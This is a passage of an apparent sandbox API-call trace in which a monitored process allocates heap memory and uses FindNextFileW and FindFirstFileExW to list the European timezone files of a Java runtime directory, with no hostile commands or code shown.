Size=0x80) returned 0x12eb0e0 [0088.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c04a8 [0088.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb5a8 [0088.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.777] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Copenhagen", cAlternateFileName="")) returned 1 [0088.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c04c8 [0088.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb630 [0088.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dublin", cAlternateFileName="")) returned 1 [0088.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c04e8 [0088.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb6b8 [0088.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.780] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gibraltar", cAlternateFileName="")) returned 1 [0088.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0508 [0088.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb740 [0088.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.782] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Helsinki", cAlternateFileName="")) returned 1 [0088.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0528 [0088.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb7c8 [0088.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.783] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Istanbul", cAlternateFileName="")) returned 1 [0088.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0548 [0088.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb850 [0088.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.785] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kaliningrad", cAlternateFileName="")) returned 1 [0088.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0568 [0088.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb8d8 [0088.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kiev", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisbon", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="London", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luxembourg", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madrid", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malta", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Minsk", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x628, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monaco", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Moscow", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oslo", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paris", cAlternateFileName="")) returned 1 [0088.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prague", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riga", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rome", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samara", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simferopol", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sofia", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stockholm", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tallinn", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tirane", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uzhgorod", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vaduz", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vienna", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vilnius", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Volgograd", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Warsaw", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zaporozhye", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 1 [0088.788] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 0 [0088.789] GetLastError () returned 0x12 [0088.789] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.789] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amsterdam", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, 